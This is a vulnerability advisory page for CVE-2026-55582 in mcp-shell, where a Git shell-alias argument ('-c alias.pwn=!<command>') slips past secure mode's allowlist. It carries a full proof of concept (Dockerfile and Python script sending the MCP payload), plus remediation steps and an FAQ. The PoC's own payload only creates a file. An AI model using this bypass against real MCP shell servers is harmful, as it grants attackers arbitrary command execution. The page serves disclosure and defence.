CVE-2026-55582: mcp-shell: Secure Mode Allowlist Bypass via Git Shell Alias

Published Aug 25, 2026
·
Updated

Summary

mcp-shell's "secure mode" is designed to restrict command execution to an allowlist of executables defined in security.yaml. The default configuration includes /usr/bin/git. The security validator in security.go blocks common shell metacharacters (|&;<>(){}[]$\) but omits !, which is the prefix Git uses to execute shell aliases (alias.NAME=!CMD). An attacker who can invoke the shellexec MCP tool can pass /usr/bin/git -c alias.pwn=!<arbitrary-command> as the command argument, bypassing all validation and achieving arbitrary OS command execution as the mcp-shell process user. The default Docker image runs as mcpuser (UID 1000) with Git installed and secure mode enabled, making this exploitable in the default deployment with no authentication required.

Details

The vulnerability is a classic OS Command Injection (CWE-78) in the shellexec MCP tool handler. The data flow from attacker input to shell execution is:

1. main.go:89-91 — The MCP tool schema exposes a required string parameter command with no server-side type constraints. 2. main.go:102 — shellexec is bound to shellHandler.handle. 3. handler.go:34 — The handler reads the attacker-controlled value: command, err := request.RequireString("command"). 4. handler.go:49 — The command string is passed to h.validator.validateCommand(command). 5. security.go:136 — containsShellMetacharacters checks for |&;<>(){}[]$\ but ! is absent from the blocked set. 6. security.go:147-149 — containsDangerousShellConstructs also does not include !. 7. security.go:85-96 — /usr/bin/git matches AllowedExecutables; no per-argument policy exists for Git. The blockedpatterns list in security.yaml:35 is empty ([]). 8. handler.go:59 — The fully validated (but unsafe) command is forwarded to h.executor.execute. 9. executor.go:149-163 — parseCommand splits the string with strings.Fields; exec.CommandContext(ctx, executable, args...) is called with executable="/usr/bin/git" and args=["-c", "alias.pwn=!touch", "pwn", "/tmp/target"]. 10. executor.go:199 — cmd.Run() launches git. Git interprets -c alias.pwn=!touch as a runtime configuration entry, defining the alias pwn as the shell command touch. When Git resolves the subcommand pwn, it triggers the shell alias: sh -c 'touch "$@"' /tmp/target, creating the file.

The root cause is the missing ! in the metacharacter blocklist and the absence of any per-executable argument policy that would prevent Git's -c alias.=! pattern.

Incriminated source locations: - security.go:136 — metacharacter set missing ! - security.go:147-149 — containsDangerousShellConstructs missing ! - security.yaml:27 — /usr/bin/git in allowedexecutables - security.yaml:35 — blockedpatterns: [] - executor.go:149-163,199 — direct exec.CommandContext invocation with unsanitized Git arguments

PoC

Prerequisites: - Docker installed and the mcp-shell-vuln-001 image built from the provided Dockerfile (repo root as build context, commit c30862f). - Python 3 to run poc.py.

Build the Docker image:

bash docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .

Run the PoC:

bash python3 vuln-001/poc.py

The script performs the full MCP JSON-RPC handshake over stdin and sends the following tools/call request:

json { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "shellexec", "arguments": { "command": "/usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc", "base64": false } } }

The container's /tmp is bind-mounted to a host temporary directory so the evidence file can be observed on the host without docker exec.

Expected result:

- MCP response: {"status":"success","exitcode":0,"executiontime":"~3ms","securityinfo":{"securityenabled":true,...}} - Evidence file created at <hosttmp>/mcp-shell-mcp-poc with uid=1000 (mcpuser), confirming arbitrary shell command execution inside the container.

Validation bypass explanation:

| Check | Value tested | Result | |---|---|---| | containsShellMetacharacters | alias.pwn=!touch | false — ! not in blocklist | | containsDangerousShellConstructs | alias.pwn=!touch | false — ! not in blocklist | | matchesExecutable | /usr/bin/git | true — in AllowedExecutables |

All checks pass; git receives alias.pwn=!touch as a config entry and executes touch as a shell alias.

Impact

This is an OS Command Injection vulnerability (CWE-78). Any entity that can issue an MCP tools/call request to a mcp-shell instance running with the default Docker configuration can execute arbitrary OS commands as the mcpuser process account (UID 1000) inside the container.

The default Docker deployment sets MCPSHELLSECCONFIGFILE=/etc/mcp-shell/security.yaml, installs git, and runs as mcpuser. The shellexec tool requires no additional authentication beyond MCP connectivity. "Secure mode" is explicitly marketed as the mechanism preventing command injection; this bypass nullifies that protection entirely.

Impacted parties: - Users and operators who deploy the default mcp-shell Docker image and expose it to MCP clients (directly via stdio, or via an MCP bridge/proxy over the network). - AI agent systems that integrate mcp-shell as a tool provider, where a compromised or malicious LLM prompt could supply the exploit payload as the command argument.

Reproduction artifacts

Dockerfile

dockerfile VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias CWE-78: OS Command Injection This Dockerfile reproduces the exact default Docker deployment environment of sonirico/mcp-shell at commit c30862f that is affected by VULN-001. Vulnerability summary: - security.yaml allows /usr/bin/git in allowedexecutables - The security validator (security.go) does not block '!' in arguments - Git's '-c alias.NAME=!CMD' syntax executes CMD as a shell command - This bypasses "secure mode" and achieves arbitrary command execution Build context must be the repo parent directory: docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .

Stage 1: Build the mcp-shell binary from the vulnerable source FROM golang:1.25-alpine AS builder

RUN apk add --no-cache git ca-certificates

WORKDIR /src

Download dependencies before copying source for better layer caching COPY repo/go.mod repo/go.sum ./ RUN go mod download

Copy and build the vulnerable source COPY repo/.go ./ RUN CGOENABLED=0 GOOS=linux go build \ -ldflags "-s -w" \ -o mcp-shell .

Stage 2: Runtime environment matching the default mcp-shell Docker image FROM alpine:3.22

Install git — this is what the default Dockerfile does (apk add git), and it is what makes the exploit possible: /usr/bin/git is present and the security config allows it. RUN apk add --no-cache bash git

Create non-root user matching the default Docker image RUN addgroup -g 1000 mcpuser && \ adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser

Install the mcp-shell binary COPY --from=builder /src/mcp-shell /usr/local/bin/mcp-shell

Install the default (vulnerable) security configuration. Key properties that enable the exploit: allowedexecutables includes /usr/bin/git blockedpatterns is empty security.go does not list '!' in blocked metacharacters COPY repo/security.yaml /etc/mcp-shell/security.yaml

Replicate the default environment variables from the repo Dockerfile ENV MCPSHELLSECCONFIGFILE=/etc/mcp-shell/security.yaml ENV MCPSHELLLOGFORMAT=json ENV PATH="/usr/local/bin:${PATH}"

USER mcpuser WORKDIR /home/mcpuser

mcp-shell reads JSON-RPC over stdin and writes responses to stdout ENTRYPOINT ["mcp-shell"]

poc.py

python #!/usr/bin/env python3 """ Proof-of-Concept for VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias Repository: sonirico/mcp-shell (commit c30862f) CWE-78: OS Command Injection

Vulnerability: mcp-shell "secure mode" uses security.yaml to allowlist executables. The default config allows /usr/bin/git. The security validator in security.go checks for metacharacters (|&;<>(){}[]$\\) but does NOT include '!' in the blocked set. Git's -c flag accepts runtime config overrides; setting 'alias.NAME=!CMD' defines a shell alias that runs CMD as a shell command when 'NAME' is used as a git subcommand.

Exploit payload (MCP tools/call -> shellexec argument): /usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc

Validation path (all checks pass): containsShellMetacharacters("alias.pwn=!touch") -> False (! not in set) containsDangerousShellConstructs("alias.pwn=!touch") -> False (! not in set) matchesExecutable("/usr/bin/git", "/usr/bin/git") -> True

Execution path: exec.CommandContext(ctx, "/usr/bin/git", "-c", "alias.pwn=!touch", "pwn", "/tmp/mcp-shell-mcp-poc") -> git defines alias pwn = !touch -> git runs subcommand "pwn" -> triggers shell alias -> sh -c 'touch "$@"' /tmp/mcp-shell-mcp-poc -> file /tmp/mcp-shell-mcp-poc is created

Evidence method: The container's /tmp is bind-mounted to a host temporary directory. After the MCP call, verify the evidence file exists on the host.

Usage: # From the repo parent directory: docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 . python3 vuln-001/poc.py """

import json import os import subprocess import sys import tempfile import stat

IMAGENAME = "mcp-shell-vuln-001" EVIDENCEFILENAME = "mcp-shell-mcp-poc" EXPLOITTARGET = f"/tmp/{EVIDENCEFILENAME}"

MCP JSON-RPC protocol requires: 1. initialize handshake (client -> server) 2. notifications/initialized acknowledgement 3. tools/call with the exploit payload MCPINITIALIZE = json.dumps({ "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "vuln-001-poc", "version": "1.0.0"}, }, })

MCPINITIALIZED = json.dumps({ "jsonrpc": "2.0", "method": "notifications/initialized", })

The malicious command: /usr/bin/git - allowed by security.yaml AllowedExecutables -c alias.pwn=!touch - git runtime config; ! prefix = shell alias NOT blocked: '!' absent from security.go metachars pwn - triggers the alias (git subcommand lookup) /tmp/<file> - argument forwarded to touch by git shell alias MCPEXPLOIT = json.dumps({ "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "shellexec", "arguments": { "command": f"/usr/bin/git -c alias.pwn=!touch pwn {EXPLOITTARGET}", "base64": False, }, }, })

def run(args, kwargs): print(f"[] {' '.join(str(a) for a in args)}") return subprocess.run(args, kwargs)

def parsemcpresponse(stdouttext): """Parse newline-delimited JSON-RPC responses, return the tools/call result.""" for line in stdouttext.splitlines(): line = line.strip() if not line: continue try: msg = json.loads(line) if msg.get("id") == 2: return msg except json.JSONDecodeError: pass return None

def main(): print("=" 62) print("VULN-001 PoC — mcp-shell Secure Mode Bypass via Git Alias") print("=" 62) print()

# Create a host-side temporary directory that will be bind-mounted # as /tmp inside the container. This lets us observe file creation # caused by the git shell alias without needing 'docker exec'. hosttmp = tempfile.mkdtemp(prefix="mcp-vuln001-") # Allow UID 1000 (mcpuser inside the container) to write files here. os.chmod(hosttmp, 0o1777) evidencehostpath = os.path.join(hosttmp, EVIDENCEFILENAME)

print(f"[] Host bind-mount (-> /tmp inside container): {hosttmp}") print(f"[] Expected evidence file on host: {evidencehostpath}") print() print(f"[] Exploit command (shellexec argument):") print(f" /usr/bin/git -c alias.pwn=!touch pwn {EXPLOITTARGET}") print()

# Build the newline-delimited JSON-RPC payload sent over stdin. # mcp-shell reads one JSON object per line. payloadbytes = ( MCPINITIALIZE + "\n" + MCPINITIALIZED + "\n" + MCPEXPLOIT + "\n" ).encode()

print("[] Sending MCP JSON-RPC payload to container via stdin ...") try: proc = run( [ "docker", "run", "--rm", # Remove container on exit "-i", # Keep stdin open for piped input "--network=none", # No external network access (safety) "-v", f"{hosttmp}:/tmp", # Expose container's /tmp on host IMAGENAME, ], input=payloadbytes, captureoutput=True, timeout=40, ) except subprocess.TimeoutExpired: print("[FAIL] docker run timed out after 40 seconds") sys.exit(1) except FileNotFoundError: print("[FAIL] 'docker' not found — install Docker to run this PoC") sys.exit(1)

stdout = proc.stdout.decode(errors="replace") stderr = proc.stderr.decode(errors="replace")

print() print("[] Container stdout (MCP responses):") for line in stdout.splitlines(): print(f" {line}")

if stderr.strip(): print("[] Container stderr:") for line in stderr.splitlines(): print(f" {line}")

print()

# Locate and pretty-print the tools/call MCP response. exploitresponse = parsemcpresponse(stdout) if exploitresponse: print("[] MCP tools/call response (id=2):") print(json.dumps(exploitresponse, indent=4)) print()

# --- Primary evidence check --- if os.path.exists(evidencehostpath): st = os.stat(evidencehostpath) print(f"[PASS] Evidence file found on host: {evidencehostpath}") print(f" size={st.stsize} mode={oct(st.stmode)} uid={st.stuid}") print() print("[PASS] EXPLOIT SUCCESSFUL") print(" 'touch /tmp/mcp-shell-mcp-poc' was executed INSIDE the container") print(" by the git shell alias, bypassing mcp-shell secure mode.") passed = True evidence = ( f"File '{evidencehostpath}' created on host via /tmp volume mount. " f"size={st.stsize} uid={st.stuid} mode={oct(st.stmode)}. " f"MCP response: {json.dumps(exploitresponse) if exploitresponse else 'n/a'}" ) else: print(f"[FAIL] Evidence file NOT found at: {evidencehostpath}") print("[FAIL] EXPLOIT FAILED") if exploitresponse: resultcontent = exploitresponse.get("result", {}) print(f" MCP result: {json.dumps(resultcontent)}") passed = False evidence = ( f"Evidence file was not created. " f"stdout={stdout[:600]!r} stderr={stderr[:300]!r}" )

print() return passed, evidence

if name == "main": passed, evidence = main() sys.exit(0 if passed else 1)

Other sources

mcp-shell is an MCP server for running shell commands securely, auditably, and on demand. Prior to 0.6.0, the default security.yaml allows /usr/bin/git, while security.go omits ! from containsShellMetacharacters and containsDangerousShellConstructs and applies no per-executable argument policy. A caller of the shellexec MCP tool can provide the command argument /usr/bin/git -c alias.pwn=!<arbitrary-command>, causing Git to create a shell alias and execute arbitrary OS commands as the mcp-shell process user. The default Docker image runs as mcpuser with Git installed and secure mode enabled, so the bypass is exploitable in the default deployment without additional authentication beyond MCP connectivity. This issue is fixed in version 0.6.0.

MITRE

Affected Software

2 affected componentsFixes available
mcp-shell<0.6.0
go/github.com/sonirico/mcp-shell<0.6.0
0.6.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/sonirico/mcp-shell to a version that resolves this vulnerability.

    Fixed in 0.6.0
  2. Upgrade

    Upgrade sonirico/mcp-shell to a version that resolves this vulnerability.

    Fixed in 0.6.0
  3. Configuration

    Update /etc/mcp-shell/security.yaml so that blocked_patterns is no longer empty; add a pattern that blocks the Git shell alias metacharacter usage (root cause is that blocked_patterns is empty and secure mode validation omits '!').

    mcp-shell security configuration (security.yaml) blocked_patterns = []
  4. Configuration

    Modify security.go so that containsShellMetacharacters includes the '!' character; this is the specific metacharacter omitted from the blocklist that allows Git alias.NAME=!CMD to execute shell commands.

    mcp-shell validator (security.go) containsShellMetacharacters = missing '!'
  5. Configuration

    Modify security.go so that containsDangerousShellConstructs includes the '!' character; the current implementation does not include '!' in the dangerous shell constructs check.

    mcp-shell validator (security.go) containsDangerousShellConstructs = missing '!'

Event History

Aug 25, 2026
CVE Published
via MITRE·03:37 PM
Data Sourced
via MITRE·03:37 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·03:39 PM
Data Sourced
via GitHub·03:39 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed by default?

Versions before 0.6.0 are affected when secure mode uses the default security.yaml, which permits /usr/bin/git. The default Docker image is exploitable because it runs with Git installed, secure mode enabled, and commands execute as the mcpuser account.

2

What access does an attacker need to exploit this issue?

An attacker needs MCP connectivity and the ability to call the shell_exec MCP tool. No additional authentication is required beyond that connectivity in the default deployment.

3

What is the practical impact of successful exploitation?

A caller can use a Git shell alias passed through the allowed /usr/bin/git command to execute arbitrary operating-system commands. Those commands run with the privileges of the mcp-shell process user, such as mcpuser in the default Docker image.

4

How can exposure be reduced if upgrading is not immediately possible?

Remove or deny /usr/bin/git from the secure-mode allowlist, or otherwise prevent untrusted callers from invoking shell_exec. Restricting MCP connectivity also reduces who can reach the vulnerable tool.

5

What version fixes the vulnerability?

The issue is fixed in mcp-shell version 0.6.0.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203